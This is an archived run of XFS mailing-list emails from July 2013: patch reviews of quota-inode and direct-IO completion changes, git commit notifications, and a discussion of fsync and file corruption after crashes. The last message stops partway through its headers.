<1373518843-1492-3-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Chandra, On Thu, Jul 11, 2013 at 12:00:41AM -0500, Chandra Seetharaman wrote: > Start using pquotino and define a macro to check if the > superblock has pquotino. > > Keep backward compatibilty by alowing mount of older superblock > with no separate pquota inode. > > Signed-off-by: Chandra Seetharaman Here are a few notes from my review. > --- > fs/xfs/xfs_mount.c | 62 ++++++++++++++++++++++++++++++++++----- > fs/xfs/xfs_qm.c | 28 +++++++++-------- > fs/xfs/xfs_qm_syscalls.c | 21 +++++++++++++- > fs/xfs/xfs_sb.h | 9 +++++- > fs/xfs/xfs_super.c | 19 ++++++------ > include/uapi/linux/dqblk_xfs.h | 1 + > 6 files changed, 108 insertions(+), 32 deletions(-) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2b0ba35..b8a633b 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -336,12 +336,17 @@ xfs_mount_validate_sb( > return XFS_ERROR(EWRONGFS); > } > > - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && > - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { > - xfs_notice(mp, > -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); > - return XFS_ERROR(EFSCORRUPTED); > + if (xfs_sb_version_has_pquota(sbp)) { xfs_sb_version_has_pquotino might be a better name for this. > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > + xfs_notice(mp, > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > + } If I'm reading that right... Now if you had a v5 super block with oquota bits it will become unmountable. Could that happen if you were using crcs and quotas with a 3.10 kernel and then upgrade? > + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { > + xfs_notice(mp, > +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > } > > /* > @@ -570,8 +575,13 @@ out_unwind: > } > > static void > -xfs_sb_quota_from_disk(struct xfs_sb *sbp) > +xfs_sb_quota_from_disk(struct xfs_mount *mp) > { > + struct xfs_sb *sbp = &mp->m_sb; > + > + if (xfs_sb_version_has_pquota(sbp)) > + return; > + > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > @@ -579,6 +589,18 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > + > + if (!xfs_sb_version_has_pquota(sbp) && (XFS_IS_PQUOTA_ON(mp))) { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ I think you already checked for that up above. > + /* > + * On disk superblock only has sb_gquotino, and incore > + * superblock has both sb_gquotino and sb_pquotino. > + * But, only one them is supported at any point of time. only one of them > + * So, if PQUOTA is set in disk superblock, copy over > + * sb_gquotino to sb_pquotino. > + */ > + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; > + mp->m_sb.sb_gquotino = NULLFSINO; > + } > } > > void > @@ -650,6 +672,13 @@ xfs_sb_quota_to_disk( > { > __uint16_t qflags = from->sb_qflags; > > + /* > + * We need to do these manipilations only if we are working > + * with an older version of on-disk superblock. > + */ > + if (xfs_sb_version_has_pquota(from)) > + return; > + > if (*fields & XFS_SB_QFLAGS) { > /* > * The in-core version of sb_qflags do not have > @@ -669,6 +698,23 @@ xfs_sb_quota_to_disk( > to->sb_qflags = cpu_to_be16(qflags); > *fields &= ~XFS_SB_QFLAGS; > } > + > + if (*fields & XFS_SB_PQUOTINO && *fields & XFS_SB_GQUOTINO) { > + /* > + * PQUOTINO and GQUOTINO cannot be used together in versions > + * of superblock that do not have pquotino. If used, use > + * sb_flags to resolve which one should be set. > + */ > + if (from->sb_qflags & XFS_PQUOTA_ACCT) > + *fields &= ~XFS_SB_GQUOTINO; > + else > + *fields &= ~XFS_SB_PQUOTINO; > + } > + > + if (*fields & XFS_SB_PQUOTINO) { > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > + *fields &= ~XFS_SB_PQUOTINO; > + } > } > > /* > @@ -885,7 +931,7 @@ reread: > */ > xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); > > - xfs_sb_quota_from_disk(&mp->m_sb); > + xfs_sb_quota_from_disk(mp); > /* > * We must be able to do sector-sized and sector-aligned IO. > */ > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > index d320794..ba12dc4 100644 > --- a/fs/xfs/xfs_qm.c > +++ b/fs/xfs/xfs_qm.c > @@ -860,21 +860,24 @@ xfs_qm_qino_alloc( > if (flags & XFS_QMOPT_SBVERSION) { > ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); > ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == > - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == > + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)); ^^^^^^^^^^^^^^^^ Looks like some unwanted spaces in there. > xfs_sb_version_addquota(&mp->m_sb); > mp->m_sb.sb_uquotino = NULLFSINO; > mp->m_sb.sb_gquotino = NULLFSINO; > + mp->m_sb.sb_pquotino = NULLFSINO; > > - /* qflags will get updated _after_ quotacheck */ > - mp->m_sb.sb_qflags = 0; > + /* qflags will get updated fully _after_ quotacheck */ > + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; I didn't quite catch why you changed from 0 to ALL_QUOTA_ACCT here, will take another look. > } > if (flags & XFS_QMOPT_UQUOTA) > mp->m_sb.sb_uquotino = (*ip)->i_ino; > - else > + else if (flags & XFS_QMOPT_GQUOTA) > mp->m_sb.sb_gquotino = (*ip)->i_ino; > + else > + mp->m_sb.sb_pquotino = (*ip)->i_ino; > spin_unlock(&mp->m_sb_lock); > xfs_mod_sb(tp, sbfields); > > @@ -1484,11 +1487,10 @@ xfs_qm_init_quotainos( > if (error) > goto error_rele; > } > - /* XXX: Use gquotino for now */ > if (XFS_IS_PQUOTA_ON(mp) && > - mp->m_sb.sb_gquotino != NULLFSINO) { > - ASSERT(mp->m_sb.sb_gquotino > 0); > - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, > + mp->m_sb.sb_pquotino != NULLFSINO) { > + ASSERT(mp->m_sb.sb_pquotino > 0); > + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, > 0, 0, &pip); > if (error) > goto error_rele; > @@ -1496,7 +1498,8 @@ xfs_qm_init_quotainos( > } else { > flags |= XFS_QMOPT_SBVERSION; > sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | > + XFS_SB_QFLAGS); > } > > /* > @@ -1524,9 +1527,8 @@ xfs_qm_init_quotainos( > flags &= ~XFS_QMOPT_SBVERSION; > } > if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { > - /* XXX: Use XFS_SB_GQUOTINO for now */ > error = xfs_qm_qino_alloc(mp, &pip, > - sbflags | XFS_SB_GQUOTINO, > + sbflags | XFS_SB_PQUOTINO, > flags | XFS_QMOPT_PQUOTA); > if (error) > goto error_rele; > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > index e4f8b2d..132e811 100644 > --- a/fs/xfs/xfs_qm_syscalls.c > +++ b/fs/xfs/xfs_qm_syscalls.c > @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( > > if (flags & XFS_DQ_USER) > error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); > - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) > + if (flags & XFS_DQ_GROUP) > error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); > + if (flags & XFS_DQ_PROJ) > + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); > > return error ? error : error2; > } > @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( As we discussed on the call: Now that you've decided to write a new interface for this, you can be really light touch here in xfs_qm_scall_getqstat(). The new macro in dqblk_xfs.h can also go away. Looking good. Regards, Ben From bpm@sgi.com Thu Jul 11 16:41:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D64DD7F3F for ; Thu, 11 Jul 2013 16:41:47 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id BA5A38F804C; Thu, 11 Jul 2013 14:41:44 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 85DB5500B4B; Thu, 11 Jul 2013 16:41:44 -0500 (CDT) Date: Thu, 11 Jul 2013 16:41:44 -0500 From: Ben Myers To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Fix the logic check for all quotas being turned off Message-ID: <20130711214144.GD20932@sgi.com> References: <1373497236.6020.36.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373497236.6020.36.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 10, 2013 at 06:00:36PM -0500, Chandra Seetharaman wrote: > > During the review of seperate pquota inode patches, David noticed > that the test to detect all quotas being turned off was > incorrect, and hence the block was not freeing all the quota > information. > > The check made sense in Irix, but in Linux, quota is turned off > one at a time, which makes the test invalid for Linux. > > This problem existed since XFS was ported to Linux. > > David suggested to fix the problem by detecting when all quotas are > turned off by checking m_qflags. > > Signed-off-by: Chandra Seetharaman This looks ok to me. Reviewed-by: Ben Myers From bpm@oss.sgi.com Thu Jul 11 16:51:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 0C93B7F4E; Thu, 11 Jul 2013 16:51:27 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-9-gc31ad43 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 X-Git-Newrev: c31ad439e8d111bf911c9cc80619cebde411a44d Message-Id: <20130711215127.0C93B7F4E@oss.sgi.com> Date: Thu, 11 Jul 2013 16:51:26 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated c31ad43 xfs: Fix the logic check for all quotas being turned off from 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit c31ad439e8d111bf911c9cc80619cebde411a44d Author: Chandra Seetharaman Date: Wed Jul 10 18:00:36 2013 -0500 xfs: Fix the logic check for all quotas being turned off During the review of seperate pquota inode patches, David noticed that the test to detect all quotas being turned off was incorrect, and hence the block was not freeing all the quota information. The check made sense in Irix, but in Linux, quota is turned off one at a time, which makes the test invalid for Linux. This problem existed since XFS was ported to Linux. David suggested to fix the problem by detecting when all quotas are turned off by checking m_qflags. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_qm_syscalls.c | 5 ++--- fs/xfs/xfs_quota.h | 8 -------- 2 files changed, 2 insertions(+), 11 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Jul 11 16:51:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id E26667F53; Thu, 11 Jul 2013 16:51:53 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-9-gc31ad43 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 X-Git-Newrev: c31ad439e8d111bf911c9cc80619cebde411a44d Message-Id: <20130711215153.E26667F53@oss.sgi.com> Date: Thu, 11 Jul 2013 16:51:53 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated c31ad43 xfs: Fix the logic check for all quotas being turned off from 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit c31ad439e8d111bf911c9cc80619cebde411a44d Author: Chandra Seetharaman Date: Wed Jul 10 18:00:36 2013 -0500 xfs: Fix the logic check for all quotas being turned off During the review of seperate pquota inode patches, David noticed that the test to detect all quotas being turned off was incorrect, and hence the block was not freeing all the quota information. The check made sense in Irix, but in Linux, quota is turned off one at a time, which makes the test invalid for Linux. This problem existed since XFS was ported to Linux. David suggested to fix the problem by detecting when all quotas are turned off by checking m_qflags. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_qm_syscalls.c | 5 ++--- fs/xfs/xfs_quota.h | 8 -------- 2 files changed, 2 insertions(+), 11 deletions(-) hooks/post-receive -- XFS development tree From stan@hardwarefreak.com Thu Jul 11 18:01:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C25787F37 for ; Thu, 11 Jul 2013 18:01:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8EBE8304062 for ; Thu, 11 Jul 2013 16:01:21 -0700 (PDT) X-ASG-Debug-ID: 1373583680-04bdf0233ce40490001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id lxmkdkHkmwlfOh7Z for ; Thu, 11 Jul 2013 16:01:20 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 521EC6C173; Thu, 11 Jul 2013 18:01:20 -0500 (CDT) Message-ID: <51DF3942.4050506@hardwarefreak.com> Date: Thu, 11 Jul 2013 18:01:22 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Markus Trippelsdorf CC: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130711112826.GA363@x4> <51DF1463.1070603@hardwarefreak.com> <20130711204033.GA355@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130711204033.GA355@x4> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373583680 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/11/2013 3:40 PM, Markus Trippelsdorf wrote: > On 2013.07.11 at 15:24 -0500, Stan Hoeppner wrote: >> On 7/11/2013 6:28 AM, Markus Trippelsdorf wrote: >> ... >>>> Looking at the source: >>>> http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 >>>> it appears that one can set an environment variable KDE_EXTRA_FSYNC to >>>> address this issue. >>>> >>>> However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still >>>> loose my KDE settings in case of a crash. So the whole fsync thing might >>>> be a red herring. >>> >>> It turned out that the KDE_EXTRA_FSYNC variable doesn't affect KDE >>> config file handling at all. >>> So I've added an fsync in kconfigini.cpp (KConfigIniBackend::writeConfig) >>> and now I don't loose my settings anymore during kernel crash testing. >>> >>> That is until xfs eats my KDE config files (kwinrulesr in this case): >> >> Adding fsync in kconfigini.cpp apparently doesn't force fsync for all >> KDE file operations. You also have some Open Office files getting hosed >> due to lack of fsync. XFS is not the cause of these problems. >> >> The problem is that all of this desktop code was developed atop EXT3 >> which flushed to disk every 5 seconds. This made programmers sloppy as >> they didn't have to fsync to make sure data hit disk. This problem has >> been covered extensively by many, including Eric in other posts on his >> blog. There's a really simple way to test this: mount with sync. >> Report results after the next crash. If no files are corrupted then >> you've verified the problem lay squarely on the shoulders of these >> desktop developers who have abdicated their responsibility to make sure >> their file changes hit the disk, instead of relying on a broken >> filesystem do it for them. >> >> Worth noting, using EXT4 without the EXT3 flush emulation enabled will >> yield similar file corruption upon a crash. > > I'm not so sure. Of course a journaled filesystem is not a database > replacement, but wouldn't it be easier to address this issue in xfs > directly instead of hoping in vain that application developers will > fix their code someday? Apparently you missed the O_PONIES debate some 4 years ago. Take a guess as to what happens to XFS performance if it is modified to "fix" this app dev broken file on crash problem. Hint: a bunch of previously asynchronous operations must now to be forced to be synchronous. -- Stan From david@fromorbit.com Thu Jul 11 19:45:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7596F7F37 for ; Thu, 11 Jul 2013 19:45:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6136F8F8035 for ; Thu, 11 Jul 2013 17:45:10 -0700 (PDT) X-ASG-Debug-ID: 1373589907-04cb6c2a46b7c450001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id WCsu06TckgrzlcFD for ; Thu, 11 Jul 2013 17:45:08 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtkMAORQ31F5LK/r/2dsb2JhbABagwaDILoQhSQEAYEGF3SCIwEBBAEnExwjBQsIAw4HAwkMGQ8FJQMhCgmICQW3DRaOFBqBHQcKgn9sA5dbkU+DIyqBLQ Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Jul 2013 10:14:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxRTB-0002zu-3x; Fri, 12 Jul 2013 10:44:21 +1000 Date: Fri, 12 Jul 2013 10:44:21 +1000 From: Dave Chinner To: Jan Kara Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, hch@infradead.org, Jeff Moyer , Al Viro , linux-ext4@vger.kernel.org, Christoph Hellwig Subject: Re: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Message-ID: <20130712004421.GE3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] direct-io: Implement generic deferred AIO completions References: <1373493739-2243-1-git-send-email-jack@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373493739-2243-1-git-send-email-jack@suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373589907 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136499 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Jul 11, 2013 at 12:02:18AM +0200, Jan Kara wrote: > From: Christoph Hellwig > > Add support to the core direct-io code to defer AIO completions to user > context using a workqueue. This replaces opencoded and less efficient > code in XFS and ext4 and will be needed to properly support O_(D)SYNC > for AIO. I don't see how this is any more efficient than the deferral that XFS already does for direct IO completion - it just changes what queues IO for completions. And on that topic: > Currently this creates a per-superblock unbound workqueue for these > completions, which is taken from an earlier patch by Jan Kara. I'm > not really convinced about this use and would prefer a "normal" global > workqueue with a high concurrency limit, but this needs further discussion. Unbound workqueues sacrifice locality for immediate dispatch. AIO-DIO performance at the high end is determined by IO submission and completion locality - we want submission and completion to occur on the same CPU as much as possible so cachelines are not bounced aroundi needlessly. An unbound workqueue would seem to be the wrong choice on this basis alone. Further the use of @max_active = 1 means that it is a global, single threaded workqueue. While ext4 might require single threaded execution of unwritten extent completion, it would be introducing a massive bottleneck into XFS which currently uses the default concurrency depth of 256 worker threads per CPU per superblock just for unwritten extent conversion. Hmmmm. I notice that the next patch then does generic_write_sync() is the IO completion handler, too. In XFS that causes log forces and will block, so that's yet more concurrency required that is required for this workqueue. Doing this in a single threaded workqueue and marshalling all sync AIO through it is highly unfriendly to concurrent IO completion. FWIW, in XFS we queue unwritten extent conversion completions on a different workqueue to EOF size update completions because the latter are small, fast and rarely require IO or get blocked. The data IO completion workqueue for EOF updates has the same concurrency and depth as the unwritten extent work queue (i.e. 256 workers per cpu per superblock). So pushing all of this DIO and EOF completion work into a single threaded global workqueue that can block in every IO completion doesn't seem like a very smart idea to me... > -static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is_async) > +static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, > + bool is_async) > { > ssize_t transferred = 0; > > @@ -258,19 +262,26 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is > if (ret == 0) > ret = transferred; > > - if (dio->end_io && dio->result) { > - dio->end_io(dio->iocb, offset, transferred, > - dio->private, ret, is_async); > - } else { > - inode_dio_done(dio->inode); > - if (is_async) > - aio_complete(dio->iocb, ret, 0); > - } > + if (dio->end_io && dio->result) > + dio->end_io(dio->iocb, offset, transferred, dio->private); Ok, so by here we are assuming all filesystem IO completion processing is completed. > + > + inode_dio_done(dio->inode); > + if (is_async) > + aio_complete(dio->iocb, ret, 0); > > + kmem_cache_free(dio_cache, dio); > return ret; Hmmm. I started wonder if this is valid, because XFS is supposed to be doing workqueue based IO completion for appending writes and they are supposed to be run in a workqueue. But, looking at the XFS code, there's actually a bug in the direct IO completion code and we are not defering completion to a workqueue like we should be for the append case. This code in xfs_finish_ioend() demonstrates the intent: if (ioend->io_type == XFS_IO_UNWRITTEN) queue_work(mp->m_unwritten_workqueue, &ioend->io_work); else if (ioend->io_append_trans || >>>>>> (ioend->io_isdirect && xfs_ioend_is_append(ioend))) queue_work(mp->m_data_workqueue, &ioend->io_work); The problem is that we only ever call xfs_finish_ioend() if is_async is true, and that will never be true for direct IO beyond the current EOF. That's a bug, and is Bad(tm). [ Interestingly, it turns out that dio->is_async is never set for writes beyond EOF because of filesystems that update file sizes before data IO completion occurs (stale data exposure issues). For XFS, that can't happen and so dio->is_async could always be set.... ] What this means is that there's a condition for work queue deferral of DIO IO completion that this patch doesn't handle. Setting deferral only on unwritten extents like this: > @@ -1292,8 +1281,10 @@ __xfs_get_blocks( > if (create || !ISUNWRITTEN(&imap)) > xfs_map_buffer(inode, bh_result, &imap, offset); > if (create && ISUNWRITTEN(&imap)) { > - if (direct) > + if (direct) { > bh_result->b_private = inode; > + set_buffer_defer_completion(bh_result); > + } > set_buffer_unwritten(bh_result); > } > } misses that case. I suspect Christoph's original patch predated the changes to XFS that added transactional file size updates to IO completion and so didn't take it into account. > @@ -1390,9 +1381,7 @@ xfs_end_io_direct_write( > struct kiocb *iocb, > loff_t offset, > ssize_t size, > - void *private, > - int ret, > - bool is_async) > + void *private) > { > struct xfs_ioend *ioend = iocb->private; > > @@ -1414,17 +1403,10 @@ xfs_end_io_direct_write( > > ioend->io_offset = offset; > ioend->io_size = size; > - ioend->io_iocb = iocb; > - ioend->io_result = ret; > if (private && size > 0) > ioend->io_type = XFS_IO_UNWRITTEN; > > - if (is_async) { > - ioend->io_isasync = 1; > - xfs_finish_ioend(ioend); > - } else { > - xfs_finish_ioend_sync(ioend); > - } > + xfs_finish_ioend_sync(ioend); > } As i mentioned, the existing code here is buggy. What we should be doing here is: if (is_async) { ioend->io_isasync = 1; xfs_finish_ioend(ioend); } else if (xfs_ioend_is_append(ioend))) { xfs_finish_ioend(ioend); } else { xfs_finish_ioend_sync(ioend); } Which means that the new code boils down to: if (xfs_ioend_is_append(ioend))) xfs_finish_ioend(ioend); else xfs_finish_ioend_sync(ioend); And now we see the problem with the only defering unwritten IO - the new direct IO code will think IO is completed when all we've done is queued it to another workqueue. I'm not sure we can handle this in get_blocks - we don't have the context to know how to treat allocation beyond the current EOF. Indeed, the current block being mapped might not be beyond EOF, but some of the IO might be (e.g. lies across an extent boundary), so setting the deferred completion in get_blocks doesn't allow the entire IO to be treated the same. So I think there's a bit of re-thinking needed to aspects of this patch to be done. > + * avoids problems with pseudo filesystems which get initialized > + * before workqueues can be created > + */ > + if (type->fs_flags & FS_REQUIRES_DEV) { > + s->s_dio_done_wq = > + alloc_workqueue("dio-sync", WQ_UNBOUND, 1); The workqueue name needs to be combined with the fs_name so we know what filesystem is having problems in sysrq-w output. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sekharan@us.ibm.com Thu Jul 11 20:10:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CB2F17F37 for ; Thu, 11 Jul 2013 20:10:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8A8508F8035 for ; Thu, 11 Jul 2013 18:10:05 -0700 (PDT) X-ASG-Debug-ID: 1373591403-04bdf02b8ec257b0001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id NtLcE3AXyESZy6pS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 18:10:04 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com 